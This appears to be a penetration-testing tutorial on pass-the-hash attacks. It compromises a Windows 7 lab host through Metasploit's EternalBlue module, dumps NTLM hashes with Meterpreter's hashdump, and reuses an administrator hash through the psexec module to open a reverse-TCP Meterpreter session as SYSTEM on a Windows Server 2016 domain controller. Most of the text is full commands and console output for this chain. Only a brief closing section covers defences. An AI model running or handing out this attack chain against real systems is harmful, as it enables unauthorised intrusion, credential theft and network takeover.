Passwords on Windows are stored as hashes, and sometimes they can be tough to crack. In certain situations, though, we can get around that by using the hash as is, with no need to know the plaintext password. It's especially interesting if we can manage to get the hash of an administrative user since we can then authenticate with higher privileges by performing an attack known as pass the hash.
We will be initially compromising a Windows 7 box, grabbing a hash from there, and pivoting to Windows Server 2016. The user whose password hash we obtain needs to have administrative privileges and to have been logged on to both of these machines. We will be using Kali Linux as our attacking box.
To understand the pass-the-hash technique, we first need to cover what makes up the hash. On Windows, a typical hash will look something like this:
There are four distinct sections, each separated by a semicolon. The first part of the hash is the username, and the second part is the numerical relative identifier.
The third part is the LM hash, a type of hash that was used in older Windows systems and was discontinued starting with Vista/Server 2008. You don't see these much anymore, but it is still possible to come across them if older systems are still in use. If you do, consider yourself lucky because they are trivial to crack.
The fourth part is the NTLM hash, an updated version used on modern Windows systems that is much harder to crack. It's also sometimes referred to as the NTHash, and it's what we can use to pass the hash.
Our attack works because of the way passwords are stored, transmitted, and used to authenticate. Think about it: your password isn't being thrown around the network in plaintext for everyone to see — it is cryptographically hashed from the moment of creation.
When authenticating with a username and password, the password is hashed once you type it in. All things considered, the computer doesn't see a difference between the password and the hash in the end. So by providing the authentication mechanism with the hash directly, we can bypass the need to know the plaintext password.
Things get especially interesting because as long as we know the username, we can authenticate as an administrator with just the password hash.
The first thing we need to do is compromise the initial target. In this scenario, we will assume this is a regular workstation (our Windows 7 machine). Any method will work, but for now, let's assume this machine is vulnerable to cd EternalBlue.
We can use Metasploit to easily own the target. First, start it up:
~# msfconsole msf5 >
Then, let's run an "eternalblue" module. For more information on this module, check out my previous guide on exploiting EternalBlue on a Windows server.
msf5 > use exploit/windows/smb/ms17_010_eternalblue msf5 exploit(windows/smb/ms17_010_eternalblue) > run [*] Started reverse TCP handler on 10.10.0.1:1234 [*] 10.10.0.104:445 - Connecting to target for exploitation. [+] 10.10.0.104:445 - Connection established for exploitation. [+] 10.10.0.104:445 - Target OS selected valid for OS indicated by SMB reply [*] 10.10.0.104:445 - CORE raw buffer dump (42 bytes) [*] 10.10.0.104:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes [*] 10.10.0.104:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv [*] 10.10.0.104:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1 [+] 10.10.0.104:445 - Target arch selected valid for arch indicated by DCE/RPC reply [*] 10.10.0.104:445 - Trying exploit with 12 Groom Allocations. [*] 10.10.0.104:445 - Sending all but last fragment of exploit packet [*] 10.10.0.104:445 - Starting non-paged pool grooming [+] 10.10.0.104:445 - Sending SMBv2 buffers [+] 10.10.0.104:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer. [*] 10.10.0.104:445 - Sending final SMBv2 buffers. [*] 10.10.0.104:445 - Sending last fragment of exploit packet! [*] 10.10.0.104:445 - Receiving response from exploit packet [+] 10.10.0.104:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)! [*] 10.10.0.104:445 - Sending egg to corrupted connection. [*] 10.10.0.104:445 - Triggering free of corrupted buffer. [*] Sending stage (206403 bytes) to 10.10.0.104 [*] Meterpreter session 1 opened (10.10.0.1:1234 -> 10.10.0.104:49210) at 2019-04-08 10:29:38 -0500 [+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= meterpreter >
Meterpreter has a useful command called hashdump that will dump any LM or NTLM hashes present on the system.
meterpreter > hashdump admin2:1000:aad3b435b51404eeaad3b435b51404ee:7178d3046e7ccfac0469f95588b6bdf7::: Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
It appears there is a user named "admin2" that likely has administrative privileges. We can copy the hash and use it to connect to another machine.
Let's say there is another computer on the network that looks like a server, possibly a domain controller (this will be the Windows Server 2016 box). If we can get access to that machine we could own the entire network and any computer on the domain.
Now that we have the hash of a privileged user, we can use it to authenticate to the Windows Server 2016 box without supplying the plaintext password. We can do this with Metasploit's psexec module.
PsExec is a command-line tool on Windows that allows you to execute programs and commands on remote systems. It is useful for administrators because it integrates with console applications and utilities for seamless redirection of input and output. But there is always a trade-off between convenience and security. PsExec can be abused by an attacker to execute malicious commands or to serve as a backdoor.
Metasploit contains a modified version of PsExec that makes it easy to connect to remote targets. Use the search command to locate the module:
msf5 > search psexec Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 1 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution 2 auxiliary/admin/smb/psexec_command normal Yes Microsoft Windows Authenticated Administration Utility 3 auxiliary/admin/smb/psexec_ntdsgrab normal No PsExec NTDS.dit And SYSTEM Hive Download Utility 4 auxiliary/scanner/smb/impacket/dcomexec 2018-03-19 normal Yes DCOM Exec 5 auxiliary/scanner/smb/impacket/wmiexec 2018-03-19 normal Yes WMI Exec 6 auxiliary/scanner/smb/psexec_loggedin_users normal Yes Microsoft Windows Authenticated Logged In Users Enumeration 7 encoder/x86/service manual No Register Service 8 exploit/windows/local/current_user_psexec 1999-01-01 excellent No PsExec via Current User Token 9 exploit/windows/local/wmi 1999-01-01 excellent No Windows Management Instrumentation (WMI) Remote Command Execution 10 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution 11 exploit/windows/smb/psexec 1999-01-01 manual No Microsoft Windows Authenticated User Code Execution 12 exploit/windows/smb/psexec_psh 1999-01-01 manual No Microsoft Windows Authenticated Powershell Command Execution 13 exploit/windows/smb/webexec 2018-10-24 manual No WebExec Authenticated User Code Execution
It's an oldie but a goodie. Load it up with the use command.
msf5 > use exploit/windows/smb/psexec
Now we can display the current settings with the options command.
msf5 exploit(windows/smb/psexec) > options Module options (exploit/windows/smb/psexec): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier RPORT 445 yes The SMB service port (TCP) SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing SERVICE_DISPLAY_NAME no The service display name SERVICE_NAME no The service name SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share SMBDomain . no The Windows domain to use for authentication SMBPass no The password for the specified username SMBUser no The username to authenticate as Exploit target: Id Name -- ---- 0 Automatic
First, we need to set the IP address of the target (the server we are now targeting):
msf5 exploit(windows/smb/psexec) > set rhosts 10.10.0.100 rhosts => 10.10.0.100
Then we can set the username and password, using the hash we obtained instead of a plaintext password.
msf5 exploit(windows/smb/psexec) > set smbuser admin2 smbuser => admin2 msf5 exploit(windows/smb/psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee:7178d3046e7ccfac0469f95588b6bdf7 smbpass => aad3b435b51404eeaad3b435b51404ee:7178d3046e7ccfac0469f95588b6bdf7
Next, set the payload — we will use the classic Meterpreter reverse TCP.
msf5 exploit(windows/smb/psexec) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp
And the IP address of our local machine and a desired port.
msf5 exploit(windows/smb/psexec) > set lhost 10.10.0.1 lhost => 10.10.0.1 msf5 exploit(windows/smb/psexec) > set lport 1234 lport => 1234
The rest of the default options are fine for now, so we should be good to go. Fire it off with the run command.
msf5 exploit(windows/smb/psexec) > run [*] Started reverse TCP handler on 10.10.0.1:1234 [*] 10.10.0.100:445 - Connecting to the server... [*] 10.10.0.100:445 - Authenticating to 10.10.0.100:445 as user 'admin2'... [*] 10.10.0.100:445 - Selecting PowerShell target [*] 10.10.0.100:445 - Executing the payload... [*] Sending stage (206403 bytes) to 10.10.0.100 [+] 10.10.0.100:445 - Service start timed out, OK if running a command or non-service executable... [*] Meterpreter session 2 opened (10.10.0.1:1234 -> 10.10.0.100:49864) at 2019-04-08 10:36:37 -0500 meterpreter >
And we now have a Meterpreter session. To confirm, we can issue commands like getuid and sysinfo to display information about the target.
meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > sysinfo Computer : DC01 OS : Windows 2016 (Build 14393). Architecture : x64 System Language : en_US Domain : DLAB Logged On Users : 4 Meterpreter : x64/windows
Pretty neat. We didn't even need a password — only the hash — to get access to the server. We now own this system.
It is generally pretty difficult to defend against a pass-the-hash attack because it ends up looking like standard authentication. The best thing to do is implement a defense-in-depth approach to mitigate potential damage.
Keeping privileges to a minimum will negate the amount of damage an attacker can do if they gain an initial foothold in the network. Other standard defense methods should be utilized as well, such as the use of a firewall and IDS/IPS to monitor and prevent any malicious activity.
Windows can also be configured not to cache credentials, which would prevent attackers from harvesting hashes stored in memory. Additional steps can be taken as well to isolate sensitive systems on the network to limit an attacker's ability to pivot.
In this tutorial, we learned about Windows hashes, how they are used in authentication, and how they can be abused to perform a pass-the-hash attack. After we compromised a low-level target, we dumped the hashes and found an administrative account. From there, we used Metasploit to pass the hash and ultimately get System access on a server. If you have any questions on any of this, ask them below.